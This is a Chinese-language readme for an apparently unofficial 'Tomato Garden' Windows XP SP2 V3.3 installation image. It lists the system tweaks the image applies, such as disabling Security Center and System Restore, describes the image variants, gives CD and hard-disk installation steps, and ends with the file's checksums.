-關閉錯誤報告
-關閉系統還原
-禁止遠程修改注冊表
-禁用遠程注冊表服務
-禁用索引服務
-禁用幫助支持中心
-禁用安全中心
-禁用Messenger服務
-關閉計劃任務
+允許為回收站重命名
+在程序組中顯示管理工具
+顯示所有文件擴展名
+顯示桌面系統圖標
+顯示快速啟動
-禁止啟動時候彈出錯誤信息
-系統失敗(禁止自動重啟,不發送管理警報,不寫入調試信息)
-禁用ZIP功能
-關閉"壓縮舊文件"功能
-去掉右鍵“新建”中的BMP、WAV等
+讓Winodws進行最大限度搜索,包括隱藏文件夾
-禁止跟蹤損壞的快捷方式
-禁用搜索助手并使用高級所搜
-移去開始中的“幫助”菜單
-安裝驅動時不搜索Windows Update
+添加右鍵用記事本打開
+添加右鍵“Dos 在這里”
+用記事本打開nfo文件
+給“我的電腦”的右鍵菜單中添加(服務,控制,設備)命令菜單
+為IE7加上幾個常用搜索選擇
+打開IE仿冒網站檢查

四、WINDOWS目錄中文件包說明
番茄花園 Windows XP Pro VOL SP2 系列(全部都集合補丁及優化)
1. TVOA --- 番茄花園 WinXP Pro VOL SP2 + 自動安裝
2. TVOB --- 番茄花園 WinXP Pro VOL SP2 + 自動安裝 + DPS驅動包

原版無改 Windows XP Pro VOL SP2 系列(除了集合補丁,IE7可選,WMP11可選,其他都沒有修改)
3. VOLA --- 原版無改 WinXP Pro VOL SP2 + 自動安裝
4. VOLB --- 原版無改 WinXP Pro VOL SP2 + 自動安裝 + DPS驅動包

五、安裝說明
1.光盤安裝(推薦)
請用刻錄軟件,選擇 映像刻錄 方式來刻錄ISO文件,刻錄之前請先校驗一下文件的準確性,刻錄速度推薦24X!

a.自動安裝
安裝請設置光盤啟動,然后選擇第1個就可以自動安裝!

b. 手動安裝
安裝請設置光盤啟動,然后選擇第2個就可以手動安裝!

2. 硬盤安裝(支持自動無人職守安裝)

a.自動安裝
請提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有內容到硬盤根目錄,比如D:\I386,然后運行D:\I386\winnt.bat就可以安裝。

b. 手動安裝
請提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有內容到硬盤根目錄,比如D:\I386,然后運行D:\I386\winnt.exe就可以安裝。安裝之前需要先加載smartdrv.exe(I386中有)

文件: TomatoWinXP_SP2_V3.3.ISO
大小: 710420480 字節
修改時間: 2007年8月12日, 5:07:20
MD5: 4928F7622EEAD628140B50048DF48322
SHA1: AABB6FE05C027C76C758CAED3C772A52D4564853
CRC32: 3BDFD43C